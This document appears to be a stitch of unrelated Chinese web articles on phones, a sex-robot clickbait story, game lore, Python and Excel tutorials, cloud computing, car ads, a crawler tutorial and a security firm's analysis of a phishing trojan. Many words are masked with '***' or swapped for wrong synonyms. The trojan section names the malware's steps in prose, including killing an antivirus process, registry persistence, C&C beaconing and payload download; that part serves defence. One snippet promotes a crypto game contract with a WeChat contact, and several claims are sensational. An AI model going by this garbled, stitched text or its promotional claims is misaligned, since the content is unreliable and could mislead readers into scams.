　　克雷洛说：“现实是此岸，理想是彼岸，中间隔着湍急的河流，行动则是架在河上上的桥梁。”

　　我说：“我接受平凡，但我拒绝平庸，我可以忙忙碌碌，却不能碌碌无为！”

　　朋友们，从现在起让我们行动起来吧，挥舞双臂，炫出人生精彩！

　　谷歌的Pixel系列手机，一直以来都是小众手机，一个很重要的原因其实不是因为Pixel手机不好，而是因为Pixel4几乎没有什么设计感，并且5000多的定价让很多小伙伴都望而却步，但是每年的Pixel手机又会有很高的关注度，今日大神OnLeaks曝光了Pixel4以及Pixel4XL的一些真机图片，而今年的Pixel4相比于往年也有较大的提升，尤其是摄像头方面，从Pixel3的单摄像头升级到了三摄像头。

　　首先，外观部分Pixel4秉承了没有设计就是更好设计的理念，整机看上去比较素雅，Pixel4有黑白两款颜色，正面除了额头较宽之外，基本上屏占比也还说得过去，背面的设计只有一个显眼的浴霸式摄像头以及底部G字的LOGO，整机看上去还是非常简洁的。

　　首先，从外观方面能看出的Pixel4的更大升级，实际上就是这个背面的浴霸式摄像头，上一代的Pixel3上所采用的是一颗1220万的摄像头，但是凭借谷歌出色的相机 *** ，让Pixel仅凭1220万像素的摄像头就可以挑战顶级旗舰手机，谷歌这么做其实就是想告诉其他厂商，不是我Pixel3不想堆料，而是你们的软件优化不行，直到今天Pixel3依然在DXO排行榜上，DXO得分为101分，相比于iPhoneXS MAX仅仅相差4分而已，可见谷歌在相机技术方面的强势。

　　但是随着国产手机厂商都开始了三摄像头四摄像头配置的时候，Pixel3上面的1220万摄像头就有些捉襟见肘了，而这次的Pixel4和Pixel4XL则升级为了三摄像头的设计，目前还未曝光相关的参数，但是主摄像头应该会常规提升到2400万或者3200万像素，毕竟更高的像素画面解析力会有明显提升，同时将会配备广角镜头和长焦镜头，这也是目前主流旗舰机的水平，如果说过去Pixel3的1220万像素只是单纯的发展相机技术，那么在技术达到一定高度之后，Pixel4相机的这次升级将会进一步的拓展Pixel4相机的可玩性，比如更宽的视角，和更加高倍的数字变焦技术，总之Pixel4这次在摄像头的硬件规格有如此大的提升，综合拍照体验肯定是有惊喜的。

　　接下来这个我们看到，Pixel4正面顶部的区域比较大，而且开孔达到了五个，还有一个较大的圆形开孔，除了听筒和光线传感器的开孔，最左侧的两个开孔应该红外相机和前置相机等组件，之所以有这么多密密麻麻的开孔，实际上是为了实现更高级别的人脸识别。

　　目前iPhone上使用的FaceID可以说目前智能手机上最安全的人脸识别技术，但是在安卓阵营，除了华为几乎所有的厂商都没有跟进3D结构光的人脸识别技术，转而使用了前置摄像头的2D面部解锁，2D面部解锁虽然不用那么多传感器，但是就安全性来说，相比于3D结构光也差了很多，因此不排除是因为FaceID的相关技术太难实现，导致安卓厂商都纷纷放弃了。

　　当然作为安卓阵营软件方面的老大，谷歌肯定也不能看着自己的安卓阵营在面部识别上落后太多，因此在自家的Pixel4上使用自家的面部识别技术，等这个技术成熟之后，会将技术和硬件完全下发给安卓手机厂商来用，以此来追上与iPhone的面部识别技术的差距，所以如果你是技术宅或者开发者的话，Pixel4绝对值得你买来细细研究一番。

　　当然Pixel4一直以来的主要用户也是开发者和技术宅，Pixel4这款手机不管是外观还是硬件配置，相比于市面上的手机相差还是有些远，并且并没有一些针对游戏和日常使用的小优化，所以看看Pixel4的厉害技术就好，因为Pixel手机中的技术，慢慢都会成为安卓技术的主流，逐渐会下放到普通安卓手机上。

　　文：凉熙

　　现在的科技已经是进入了高速发展的时期，那些以前人们想都不敢想的高科技，现在确实是已经出现在了我们的生活中，让我们的生活有了很大的改变，经历过大哥大的时代，再到现在智能手机的时代，许多人也发现了现在基本上已经是人工智能阶段，甚至是以前电影里看到的机器人都已经出现在我们身边了。

　　人类已经进入了一个信息时代，同时也出现了许多新事物。例如，手机可以不用现金直接支付。更令人惊讶的是，出现了可以取代人类的工作的机器人，比如扫地机器人。然而，我们也知道这些类型的机器人都比较单一，叫做是智能机器人，就像以前的机器人电影一样，有仿真机器人的是没有的，但是在日本，这样的机器人已经出现了。

　　日本的“女性机器人”已经问世，顶级硅胶+仿真 *** ，受到男用户的广泛好评。我们都知道，现在社会上男人多女人少的现象越来越严重。随着越来越多宅男诞生，男性单身的可能性大大增加。为了解决这个问题，日本推出了一款“女性机器人”。没想到，一经推出，就大受欢迎。

　　仅仅是在几个小时内，10万台机器人被当地人一扫而空，根据了解，这款其机器人的售价是1699999日元，约合人民币是10万元，虽然说价格不是特别的离谱，但是对于普通人来说，也还是消费不起的，尽管不便宜，但是还是受到了很多用户的抢购，甚至是都卖断货了，最重要的是这个“女性机器人”受到了男性用户的广泛好评。

　　那么，为什么日本的“女性机器人”能被大多数男性用户所认可呢？首先肯定是要多亏了研发人员，研发机器人的科学家把她设计得像真人一样。以前见过的机器人都是金属机器人，冷冰冰的。但是这个机器人就不一样了。她的整个身体是由顶级硅胶制成的，皮肤也与真实皮肤触感相似。

　　而且机器人还有一个内部恒温器，可以用来模拟人体的体温，更好的是，机器人可以像人一样流汗，由于机器人的“身体”内的各种装置都会产生大量的热量，所以说会导致水蒸气通过机器人的金属关节到达身体表面挥发，就像是人体出汗一样，这个设计可以说是很逼真了，许多人都纷纷点赞。

　　设计师还利用顶级仿真技术来 *** 这款“女性机器人”。她的大脑中安装了一个人工智能芯片，当你不开心的时候，可以让她完成用户的指令，比如洗衣服、做饭、玩游戏、陪你，以及与人类的正常交流。你不开心的时候，她还会做出一个表情来逗你开心，当然，这个表情和真人比起来有点僵硬，但是能做到这样已经很好了。

　　这类“女性机器人”的使用者大多是男性，在体验过机器人后，他们纷纷给予赞扬。突然之间，他们就不觉得孤单了。当他们回到家，有人会和他们玩。他们说有机器人也挺好的。他们不必费心再找女朋友，但这种想法仍然很危险。

　　在这样一个男权主义根深蒂固的国家，女性机器人一经上市就如此的受欢迎，那么其他国家又会出现什么情况，虽然机器人很好，但是没有生育功能，毕竟人类该做的事情还是得做的，如果说一个男人买了一个机器人带回家见父母，估计父母就见不到明天的太阳了。除非是比较开放和前卫的，大家是怎么认为的呢？

　　智享驾控，安全随行

　　哈弗H9-2020款

　　率先配备 L2级自动驾驶辅助系统

　　自在驾驭未知，自由探寻前路！

　　各位玩英雄联盟的小伙伴都知道英雄联盟的国服服务器名称大多采用背景故事里的势力名，但是你了解这些服务器的故事么？

　　电信一区：艾欧尼亚

　　艾欧尼亚是位于瓦罗兰大陆之外的岛屿，在这座岛屿中存在很多教派和社团，其中就包括均衡、影流、无极之道，其中的代表人物就是剑圣、刀妹、盲生、劫、亚索。

　　网通二区：德玛西亚

　　德玛西亚是以力量守护爱与和平的人类联邦信奉正义，要“为了不能作战的人而战”，代表人物：盖伦、皇子、赵信、拉克丝。

　　电信三区：诺克萨斯

　　诺克萨斯是信丰实力至上的人类联邦，认为只要能带来胜利就算是暴力也是正当手段。代表人物：诺手、德莱文、卡特等。

　　网通三区：弗雷尔卓德

　　费雷尔卓德是一个常年被冰雪覆盖聚集了冰原部族，包括了人类、熊、雪人等。代表人物：艾希、蛮王、丽桑卓、猪妹。

　　电信四区：班德尔城

　　班德尔城是热爱和平与科技的约德尔人国度，最著名的特点就是矮小灵活，具有强大的科学头脑与科技素养。代表人物：飞机、小炮、璐璐、兰博。（目测他们身高应该是一样的）

　　网通一区：比尔吉沃特

　　比尔吉沃特是走私贩、劫掠者和不欲之徒的避难港湾，是一个很危险也充满机遇的不法之地。代表人物：卡牌，小鱼人，男枪。

　　电信二区：祖安

　　祖安是以化学工业与炼金术闻名的，污染很严重是被滥用的魔法和科技所扭曲的城邦，代表人物：扎克、蒙多、图奇、炼金、艾克。

　　电信五区：皮尔特沃夫

　　皮尔特沃夫简称“皮城 ”是瓦罗兰大陆的文化中心，艺术、工艺、贸易、科技都十分繁荣。代表人物：女警、金克斯、EZ、发条。

　　好啦各位小伙伴以上就是今天带给大家的lol服务器的故事，喜欢的小伙伴可以点一点关注。

　　知识回顾：

　　1.Items *** :以元组形式返回键值形式的对象列表

　　2.Keys *** ：返回字典中的所有的键

　　3.Values *** ：返回字典中所有的值

　　本节视频教程

　　文字讲解：

　　一、Pop ***

　　Pop *** 属于字典自带的 *** ，只需要传入一个参数，这个参数是字典的键，就可以对字典中的某个键值对进行删除。

　　dic1={"aa":"老刘","bb":"老张","cc":"老王"}

　　dic1.pop("bb")

　　二、Popitem ***

　　这个 *** 不需要传入参数，就可以直接对字典中的键值对进行删除，并且每次删除的都是最后一个。

　　三、Clear ***

　　彻底清除字典中的所有的键值对。

　　提问：如何知道我删除的是哪个键值对？

　　使用pop *** 是人为规定删除某个键值对，但是使用popitem *** 呢？

　　dic1.popitem() *** 在删除之前保留了一份数据（元组的形式），这份数据在使用popitem *** 删除字典中的数据后会将这份删除的数据进行返回，以供知悉。

　　pop *** 删除后会返回一个对应删除键的值，这个值用来给你判断你删除的是否你要真正删除的。

　　四、总结强调

　　1.掌握pop *** ：删除指定的键值对，最后返回的是删除键的值。

　　2.掌握popitem *** ：每次删除字典中的最后一个键值对，返回这个删除的键值对。

　　3.掌握clear *** ：彻底清除字典中所有的键值。这里清除后，最后如果一定要返回值，那就是一个None。

　　五、本节源码

　　执行结果：因为后面的代码都注释掉了。

　　None

　　都说区块链的本质就是“去中心化”。那什么是“去中心化”？如何理解区块链中的“去中心化”？“去中心化”又有什么好处？今天，我们就简单介绍一下区块链与“去中心化”的关系。首先要说的就是“去中心化”的含义。什么是去中心化？去中心化，其实是随着互联网的发展，逐步形成的现象和结构。简单从人和社会的关系来比喻的话，“去中心化”的含义就是每个人都是中心，每个人都能对相连接的其他人产生影响，不受任何组织和阶层的管理和制约，从而形成扁平化、开放化、平等化的社会形态。从 *** 结构上看，去中心化也就是一个开源、多元化的 *** 结构，每一个节点相互连接、制约，但并不受到某一个中心节点的管制。从内容生产来看，去中心化犹如Web1.0向Web2.0的转变的过程。

　　我们来讲一讲玩家盛宴PGB，为什么会是安全，可靠的？ V：wofgame520

　　我们通过以上图片，就能清晰的分辨出来：Address属于个人地址。Contract属于以太坊合约地址。（玩家盛宴PGB就是合约地址）

　　以太坊合约合同里面带有transfer, withdraw 命令的话，这种属于伪去中心化，留有后门。（上图）合约交易 transfer用户向合约转钱, 发起合约时传入 value 即可合约向用户转钱 address(user).transfer(address(this).balance), 当然不必是合约的所有余额, 只要不超过余额, 都可以转出去用户通过合约向另一个用户转钱: 买家–>卖家 (买家转钱到合约, 合约转到卖家), 买家传入 value 调用 address(seller).transfer(msg.value)--------------------- （大家可以看区块链这篇文章有详细介绍）那么给大家展示下我们玩家盛宴PGB的智能合约合同代码：

　　玩家盛宴PGB智能合约公开透明，公平，公正，没有任何后门，任何人无法篡改。不过相信在可见的未来，终将是智能合约的时代，具体的应用场景难以想象。世界将作出怎样的改变，我们满怀憧憬拭目以待，期待着玩家盛宴Players'Grand Banquet真正爆发的那一天！

　　现今的科技发展十分迅捷，也给人们带了十分便利的生活。其中最直观的一点就是原先要揣着一个厚厚的钱包出门，现在只需要一台手机轻轻一滴，就省去了很多麻烦。另外，随着电子档案的逐渐普及，电子办公也开始慢慢的融入到我们的生活中。无论在生活的哪一方面，快捷和方便都成为了主流。并且，身份证也即将要电子化。新的“身份证”要来了，实体身份证将被取代？这些事项要提前了解。

　　虽然手机智能化之后各项功能齐全，完全能满足人们的日常所需。但如果要去外地出差、去旅游，必须还是得要带上身份证，无论是过安检还是入住酒店，都需要出示身份证进行检查和登记。若是电子身份证普及之后，通过验证电子身份信息加上刷脸，很有可能做到一台手机走天下，从此钱包是路人。

　　广州市已经在试运行微信电子身份证（以下简称网证），出门不带身份证也可以证明自己身份的时代已经到来。但看目前的情况，不久后的将来全国各地也能如此方便。到时候一旦有要验证身份的场所，掏出手机进行扫描验证的现象会愈加频繁。也很可能在几年后，实体身份证会彻底被网证给取代。

　　据称，现在网证分为两种版本，之一种简化版网证注册简单，但适用范围较窄。而另一种高级版则注册要求高一些，适用的范围也相较更广。

　　那网证是怎么生成的呢？实际上与绑定银行卡的原理差不多，将身份证上的身份芯片生成一个独立的文件绑定到微信卡包中，通过数据连接与身份证系统的数据保持同步。经过申请和审核之后，个人的网证就可以进行使用了。

　　但很多人会担心，网证安全么？毕竟现在人们越来越注重自己的隐私。其实关于这点完全可以不用担心。这种网证技术直接对接的是身份信息的数据库，在使用的时候，不仅需要出示手机里的网证，还要进行刷脸，类似于高级版的活体验证，即便上可以杜绝盗用身份信息的情况发生。而且内部的数据库是不允许第三方进行访问的，也杜绝了钻空子的可能。也有人可能会问，如果绑定网证的手机丢了怎么办？其实也不用太过担心，只需要在更换新手机后重新绑定，那么前一台手机上绑定的信息就会自动解锁注销，十分安全。

　　身份证电子化实际上极大的推动了生活的快捷化和方便化，虽然现在距离全面普及还需要一段时间，但其实却并不远，也许明年的时候，我们就能在过上手机刷身份的生活。

　　乳癌是中国香港女性最常见的癌症，每16名女性当中，便有一人患上乳癌。要战胜乳癌，关键在于能否通过筛检及早诊断，让病人得到及时治疗。美国麻省理工学院（MIT）近日便以人工智能（AI）技术，研製了一个深度学习模型，透过分析 *** X光照片，能预测女士5年内患上乳癌的风险，让高风险女士及早防备。

　　目前医学界评估女性患乳癌的风险时，会以个人体格及生活习惯（如在12岁前是否已有月经、30岁以后才怀孕產子或未曾生育、55岁后才停经、 *** 组织密度高、是否曾服用避孕药及接触辐射），曾否接受补充荷尔蒙药物治疗，以及是否有家族乳癌或卵巢癌史等遗传因素来厘定。

　　图片来源于 *** ，如有侵权请联系删除

　　至于MIT开发的最新预测模型，则利用人工智能技术，透过学习90,000张 *** X光片，让电脑能辨识 *** 组织微妙复杂的变化，从而演算女士未来5年患乳癌的机率。根据研究结果，新预测模型能识别31%的高风险女士，而传统的乳癌预测模型（Tyrer-Cuzick model）则只能识别出18%。

　　然而，此模型仍有一定限制，如未能识别餘下七成的高风险人士；假如日后诊断乳癌技术有所提升，AI运算 *** 将完全改写，系统亦需重新学习；又或者将来出现新的高风险因素，例如发现新的乳癌基因，模型亦未必能即时更新；若输入AI系统的数据不准确，得出的分析结果亦会误导或不可靠，亦即数据分析中常提及的「Garbage in garbage out」。

　　由于识别高风险人士并非等于确诊，因此对临床应用较低。不过，假以时日，若AI能为病人提早作出准确诊断，届时将能够利用科技惠及更多病人，令人期待。

　　我们处在数字化带来大变革的时代，计算能力、人工智能正在取代传统工业成为这个时代最核心的竞争力。

　　原有的秩序被颠覆，原有的产品被淘汰，原有的服务被遗弃，原有的模式被推翻，原有的优势被打翻，导致许多时候我们会无所适从。

　　这是一场由云计算、大数据、人工智能、5G等多重数字技术、信息技术、移动技术带来的世界重构，这种重构完全改变我们获取信息的方式，利用信息的能力。

　　当然这也意味着巨大的机会汹涌而来，不过可能不是属于你的，因为不能用过去的眼光发现机会，不能用过去的思维了解机会，不能用过去的 *** 抓住机会。你只能在机会面前茫然无措。

　　因此需要我们静心凝神，不断学习新知识，新 *** ，新理念，新技术，跟上这波时代变革带来的机会。

　　SEARCH函数

　　SEARCH 函数可在第二个文本字符串中查找之一个文本字符串，并返回之一个文本字符串的起始位置的编号，该编号从第二个文本字符串的之一个字符算起。

　　=SEARCH(find_text,within_text,[start_num])

　　=SEARCH(找什么，在哪找，从第几位开始找)

　　注意：

　　1、在find_text中，可以使用通配符，例如：问号“？”和星号“*”。其中问号“？”代表任何一个字符，而星号“*”可代表任何字符串。如果要查找的字符串就是问号或星号，则必须在这两个符号前加上“～”符号。

　　2、如果找不到find_text的值，则返回 错误值 #VALUE!

　　3、如果省略了start_num参数，则假设其值为 1。

　　4、如果start_num不大于 0（零）或大于within_text参数的长度，则返回 错误值 #VALUE!

　　----------------------------

　　案例1

　　函数:=SEARCH(C4,B4)

　　解答： 找什么: C4单元格的字符

　　在哪找:在B4单元格里找

　　----------------------------

　　案例2

　　函数:=SEARCH(C15,B15,5)

　　解答： 找什么: C4单元格的字符

　　在哪找:在B4单元格里找

　　从第几位开始找:从第5位开始找

　　----------------------------

　　云计算最初的目标是对资源的管理，管理的主要是计算资源、 *** 资源、存储资源三个方面。

　　管理数据中心就像配电脑

　　什么叫计算、 *** 、存储资源？

　　比如你要买台笔记本电脑，是不是要关心这台电脑是什么样的CPU？多大的内存？这两个就被我们称为计算资源。

　　这台电脑要上网，就需要有个可以插网线的网口，或者有可以连接我们家路由器的无线网卡。

　　您家也需要到运营商比如联通、移动或者电信开通一个 *** ，比如100M的带宽。然后会有师傅弄一根网线到您家来，师傅可能会帮您将您的路由器和他们公司的 *** 连接配置好。

　　这样您家的所有的电脑、手机、平板就都可以通过您的路由器上网了。这就是 *** 资源。

　　您可能还会问硬盘多大？过去的硬盘都很小，大小如10G之类的；后来即使500G、1T、2T的硬盘也不新鲜了。(1T是1000G)，这就是存储资源。

　　对于一台电脑是这个样子的，对于一个数据中心也是同样的。想象你有一个非常非常大的机房，里面堆了很多的服务器，这些服务器也是有CPU、内存、硬盘的，也是通过类似路由器的设备上网的。

　　这时的问题就是：运营数据中心的人是怎么把这些设备统一的管理起来的呢？

　　管理的目标就是要达到两个方面的灵活性。具体哪两个方面呢？

　　举个例子来理解：比如有个人需要一台很小的电脑，只有一个CPU、1G内存、10G的硬盘、一兆的带宽，你能给他吗？

　　像这么小规格的电脑，现在随便一个笔记本电脑都比这个配置强了，家里随便拉一个宽带都要100M。然而如果去一个云计算的平台上，他想要这个资源时，只要一点就有了。

　　这种情况下它就能达到两个方面的灵活性：

　　时间灵活性：想什么时候要就什么时候要，需要的时候一点就出来了。

　　空间灵活性：想要多少就有多少。需要一个空间很小的电脑，可以满足；需要一个特别大的空间例如云盘，云盘给每个人分配的空间动不动就很大很大，随时上传随时有空间，永远用不完，也是可以满足的。

　　空间灵活性和时间灵活性，即我们常说的云计算的弹性。而解决这个弹性的问题，经历了漫长时间的发展。

　　物理设备不灵活

　　之一个阶段是物理设备时期。这个时期客户需要一台电脑，我们就买一台放在数据中心里。

　　物理设备当然是越来越牛：

　　例如服务器，内存动不动就是百G内存。

　　例如 *** 设备，一个端口的带宽就能有几十G甚至上百G。

　　例如存储，在数据中心至少是PB级别的(一个P是1000个T，一个T是1000个G)。

　　然而物理设备不能做到很好的灵活性：

　　首先是它缺乏时间灵活性。不能够达到想什么时候要就什么时候要。比如买台服务器、买个电脑，都要有采购的时间。

　　如果突然用户告诉某个云厂商，说想要开台电脑，使用物理服务器，当时去采购就很难。与供应商关系好的可能需要一个星期，与供应商关系一般的就可能需要采购一个月。

　　用户等了很久电脑才到位，这时用户还要登录上去慢慢开始部署自己的应用。时间灵活性非常差。

　　其次是它的空间灵活性也不行。例如上述的用户需要一个很小很小的电脑，但现在哪还有这么小型号的电脑？不能为了满足用户只要一个G的内存、80G硬盘的，就去买一个这么小的机器。

　　但是如果买一个大的，又会因为电脑大，需要向用户多收钱，可用户需要用的只有那么小一点，所以多付钱就很冤。

　　虚拟化灵活多了

　　有人就想办法了。之一个办法就是虚拟化。用户不是只要一个很小的电脑么？

　　数据中心的物理设备都很强大，我可以从物理的CPU、内存、硬盘中虚拟出一小块来给客户，同时也可以虚拟出一小块来给其他客户。

　　每个客户只能看到自己的那一小块，但其实每个客户用的是整个大的设备上的一小块。

　　虚拟化的技术使得不同客户的电脑看起来是隔离的。也就是我看着好像这块盘就是我的，你看着这块盘就是你的，但实际情况可能我的这个10G和你的这个10G是落在同样一个很大很大的存储上。

　　而且如果事先物理设备都准备好，虚拟化软件虚拟出一个电脑是非常快的，基本上几分钟就能解决。所以在任何一个云上要创建一台电脑，一点几分钟就出来了，就是这个道理。

　　这样空间灵活性和时间灵活性就基本解决了。

　　只要 1.2 秒的运算时间，而且步数只要 20 步左右。

　　魔方是有已知的算法可以计算出更佳步数，也有人做出了仅需 0.38 秒就能自动将打乱的魔术方块复原的机器人，但这次不一样 —— 加州大学尔湾分校的研究学者们开发了一套完全自主学习的「DeepCubeA」人工智能系统，在仅仅提示最终状态的前提下，由 AI 自行研究出了解法。

　　像许多这类的系统一样，科学家们自己也不知道 DeepCubeA 是如何搞懂怎么做的，只是利用了「强化学习」的机制，放任机器自己研究该如何转动。最终的成果是 DeepCubeA 只要 1.2 秒的时间就能完成计算，而且算出的结果大多数只要 20 步左右就能将方块复原，大约 60% 的时候甚至就是更佳方案。这是该研究团队第二次尝试这样的系统，之一代的方式大约要花 30 步，且需要约 10 分钟的时间计算。

　　由于 DeepCubeA 不是专门针对魔方而设计的算法，其成功将有机会衍伸到类似的图样式谜题上。对于朝着开发可以自行理解问题，并计算出解决方案的 AI 系统来说，也是重要的一步吧。

　　随着科技的进步，以前不能想的事也成为可能，自动驾驶这项技术也逐渐成熟。而自动驾驶、智能车机系统便是新宝骏RS-5的更大宣传亮点。

　　在智能驾驶方面，新宝骏RS-5实现L2级别自动驾驶，远超同级。涵盖了14项全能智能驾驶技术，其中不少都是同级首次搭载。

　　新宝骏RS-5在0 km/h便能激活自适应巡航，并且还有7档跟车时距，灵活控制与前车距离。新宝骏RS-5还是同级首次搭载0-130km/h大速域弯道巡航辅助（BCA），与ACC相辅相成，达到超高智能化驾驶，帮助缓解我们长时间多路况驾驶的疲劳。

　　新宝骏RS-5搭载了全新L2级别自动驾驶系统中的5级防碰撞主动安全防护，能够更大限度避免碰撞。

　　新宝骏RS-5全系标配博世最新9.3版本ESP车身电子稳定系统，从各项技术来看新宝骏RS-5的智能驾驶，它的表现都能比同级车更为出色。

　　日前，火绒工程师接到某日企公关公司求助，称在未安装火绒的情况下，员工所用企业邮箱被盗，并向其服务的多个客户发送带有病毒附件的邮件。火绒工程师根据该公司提供的邮件及病毒附件分析发现，这是一起有预谋的、针对特定企业进行的APT类攻击（高级可持续性攻击）。附件文档内容并非公司员工编写，并经过精心设计，可以看出攻击者对该公司及其所服务客户工作时间、习惯以及业务等都极其熟悉。

　　火绒工程师分析，病毒邮件附件为一个压缩包，内有伪装成Word文档的病毒程序（木马下载器），诱骗用户点击。一旦病毒被执行，首先会释放一个与病毒同名的真实的Word文档，并同时将自己隐藏到其它目录中，且可以随开机自行启动。

　　伪装成Word的病毒程序

　　隐藏的病毒主要实施两种行为：一是搜集被攻击的电脑系统版本和安装的安全软件信息，发送至病毒远程服务器；二是从远程服务器中下载其它病毒到本地执行。由于该企业求助火绒分析病毒邮件时，距离被攻击时间已有两周，其远程服务器已经无法下载病毒模块，但依旧处于开启状态，不排除后续派发其它病毒到本地执行的可能性。

　　而值得一提的是，该病毒入侵电脑后还会关闭趋势安全软件，该软件为多数日企所用，这近一步表明攻击者精准的了解攻击目标，而非盲目攻击。

　　最后，针对此类精准、持续的邮件攻击，建议广大企业用户：

　　及时寻求安全公司的帮助，查询病毒来源、去处以及危害，并及时清除病毒，加强安全防护，比如定期修改邮箱密码；而对于收件方，如果已经执行了病毒附件，也需要联系安全厂商进行全面排查，防止黑客入侵。此外，还可以安装靠谱安全软件定期杀毒，并开启相关防御功能。

　　附【事件相关样本分析】：

　　某日企公关顾问公司发现有部分企业邮箱对该公司客户发送带有恶意附件的邮件，附件包含的文档格式经过精心设计，内容非公关公司员工编写，对客户的投放较为精准，且对双方企业构成、业务、工作习惯较为熟悉，带有明显的APT攻击痕迹。

　　用户提供的恶意邮件附件为一个压缩包，压缩包中包含有伪装成Word文档的病毒程序（通过插入Unicode RLO控制符改变文件名的显示顺序），诱骗用户点击执行。

　　病毒主要恶意行为：

　　1、遍历进程，查找PC-cillin安全软件相关程序”pccnt.exe”并结束。

　　2、解密用于欺骗用户的Word文档到病毒当前的目录下，并打开。

　　3、将自身移动到%Temp%目录下，更名为avirra.exe，之后将新的文件路径添加注册表启动项。（HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ravirra）

　　4、使用主机的用户名、MAC地址作为标识，并收集主机的系统版本和安装的安全软件信息后，将两段数据简单加密拼接发送至病毒服务器。（

　　5、从地址下载相关文件解密后执行。下载和解密的相关下载代码，如下图所示：

　　6、以上分析可以证明该病毒属于攻击的前期阶段，后续攻击会根据病毒服务器的返回的数据做进一步渗透。

　　企业联系火绒提取邮件时，距离邮件发送已超过两个星期， C&C服务器已经无法请求到病毒相关模块。但该服务器的Web服务依然处于发布状态，不排除将来下发其他病毒模块到被入侵计算机执行的可能性。

　　建议企业在发生安全事件时，及时与安全公司取得联系，寻求对样本分析、事件溯源和安全技术的支持。

　　雷锋网从火绒了解到，此次安全事件中，如果收件方已经执行了邮件附件的情况下，也需要联系安全厂商对企业内网进行检测，不排除黑客已经入侵到公司内网的可能。

　　今年夏天，杨晨煜同学以数学英语双满分，总分730分的总成绩登顶广西理科更高分，差点打破我国高考裸分更高分记录。

　　据清华招生公众号，2019在广西招生录取圆满结束，来自南宁二中的730分学霸杨晨煜最终花落清华，被清华大学人工智能班录取，杨晨煜将师从姚期智学习人工智能，本科专业为计算机科学与技术。

　　智班是清华大学今年刚成立，由图灵奖得主、清华大学交叉信息院院长姚期智院士将担纲智班首席教授的新专业。2019年秋季起，清华大学智班将招收之一批本科生，预计招收25人，本科专业为计算机科学与技术。

　　清华大学创立智班的目的是培养人工智能领域领跑国际的拔尖科研创新人才，而杨晨煜一直以来对此非常有兴趣：“人工智能是我的兴趣所在，人工智能是是未来的战略制高点，我希望能为国家贡献自己的智慧和力量。”

　　1. 手机APP数据----写在前面

　　继续练习pyspider的使用，最近搜索了一些这个框架的一些使用技巧，发现文档竟然挺难理解的，不过使用起来暂时没有障碍，估摸着，要在写个5篇左右关于这个框架的教程。今天教程中增加了图片的处理，你可以重点学习一下。

　　2. 手机APP数据----页面分析

　　咱要爬取的这个网站我看了一下，有大概20000页，每页数据是9个，数据量大概在180000左右，可以抓取下来，后面做数据分析使用，也可以练习优化数据库。

　　网站基本没有反爬措施，上去爬就可以，略微控制一下并发，毕竟不要给别人服务器太大的压力。

　　页面经过分析之后，可以看到它是基于URL进行的分页，这就简单了，我们先通过首页获取总页码，然后批量生成所有页码即可

　　获取总页码的代码

　　然后copy一段官方中文翻译，过来，时刻提醒自己

　　分页数据已经添加到待爬取队列中去了，下面开始分析爬取到的数据，这个在

　　detail_page

　　函数实现

　　数据已经集中返回，我们重写 on_result来保存数据到 mongodb中，在编写以前，先把链接mongodb的相关内容编写完毕

　　数据存储

　　获取到的数据，如下表所示。到此为止，咱已经完成大部分的工作了，最后把图片下载完善一下，就收工啦！

　　3. 手机APP数据----图片存储

　　图片下载，其实就是保存 *** 图片到一个地址即可

　　到此为止，任务完成，保存之后，调整爬虫的抓取速度，点击run，数据跑起来~~~~

　　在如今信息高度发达的时代，我们变得毫无秘密可言，我们可能无时无刻都处在别人的监视当中。也许这句听起来很吓人，或许你会认为这是在危言耸听，但是这绝对不是凭空捏造。就在前不久的7月13日，俄罗斯联邦安全局遭受到了历史上更大的黑客攻击，大量的机密文件泄露，泄露数据高达7.5TB，通过这个事件也就印证了我之前所说的，我们可能时时都处在一个被监视的环境当中。

　　黑客技术的诞生就表明了我们 *** 已经没有了安全性可言，但在当下我们又不得不将大量的信息传输到 *** ，这就让很多心怀鬼胎之人有了可乘之机。上个世纪在日本就进行了一项实验，一个男子长期处在一个被人监视的环境当中，但他自己却毫不知情，这件事被人们称之为楚门事件。是不是听起来很令人害怕呢？在如今这个信息飞速传输的时代，我们所使用的任何电子产品都有可能被他人监控，也就是说他们掌握着我们的一切动向。

　　银行和企业甚至是国家，都会时常有新闻爆出遭受到了黑客攻击，我们的 *** 其实也是如此，很多时候我们并不知情，但是我们的个人信息可能已经泄露。前些年由微软公司开发的windows10电脑操作系统就被曝出内部藏有“后门”，这是直接导致我们国内此操作系统被推迟很久才上架的原因，虽然后来微软公司做出了澄清函，但现在在我们国家的重要安全部门还是拒绝采用此操作系统的。

　　 *** 安全已经是一个大到国家小到个人都应该面对的问题，如何能避免或者说是减少我们的信息泄露，已经成为很值得讨论的话题。其实想减少信息的泄露很好的办法就是阻断自己 *** ，不在自己的卧室和卫生间内安装 *** 摄像头，不随意的接受他人发来的文件和打开他人发来的网址这都是很好的防止信息外泄的办法。说了这么多相信你一定也有自己的办法，欢迎在下方留言评论。

　　选自medium

　　作者：Adam Geitgey

　　机器之心编译

　　参与：Geek AI、张倩

　　要想让你的 Python 代码同时在 Windows 和 Mac/Linux 上工作，你需要处理不同系统文件名用不同斜杠的问题。而 Python 3 有一个名为「pathlib」的新模块，可以帮你解决这个麻烦。

　　在编程过程中，我们往往会遇到一个小麻烦——微软 Windows 系统在文件夹名之间使用反斜杠字符，而几乎所有其它的计算机（操作系统）都使用正斜杠：

　　这是由于上世纪 80 年代早期计算机历史上的一个小意外。「MS-DOS」的之一版使用了正斜杠字符来指定命令行选项。当微软在「MS-DOS 2.0」中加入了对文件夹的支持时，正斜杠字符已经被使用了，所以他们采用了反斜杠作为替代。35 年后，我们仍然被受困于这种不一致性。

　　如果你想让你的 Python 代码同时在 Windows 和 Mac/Linux 上工作，你就需要处理这种与平台相关的问题。幸运的是，Python 3 有一个名为「pathlib」的新模块，使得用户处理文件几乎没有任何困难。

　　「pathlib」模块链接：

　　让我们快速浏览一下处理文件名路径的不同 *** ，看看「pathlib」如何能让你的生活变得更美好！

　　错误的解决方案：手动构建文件路径

　　假设你有一个数据文件夹，该文件夹包含你想要在你的 Python 程序中打开的文件：

　　在 Python 中对其进行编码是「错误」的方式：

　　请注意，由于我使用的是 Mac 系统，所以我使用了「Unix」风格的正斜杠对路径进行了硬编码。这也会让 Windows 的用户感到愤怒。

　　从技术上讲，这段代码在 Windows 上仍然有效，因为 Python 有一个「黑客」（hack）技术：当你在 Windows 上调用「open()」函数时，它会识别这两种斜线。但即便如此，你也不应该依赖它。如果你在错误的操作系统上使用了错误类型的斜杠（尤其是在它们与外部程序或代码库交互时），并不是所有的 Python 库都会正常工作。

　　Python 对混合斜杠类型的支持是一种只针对 Windows 的「黑客」技术，它反过来并不起作用。在 Mac 系统环境下，在代码中使用反斜杠会导致彻底失败：

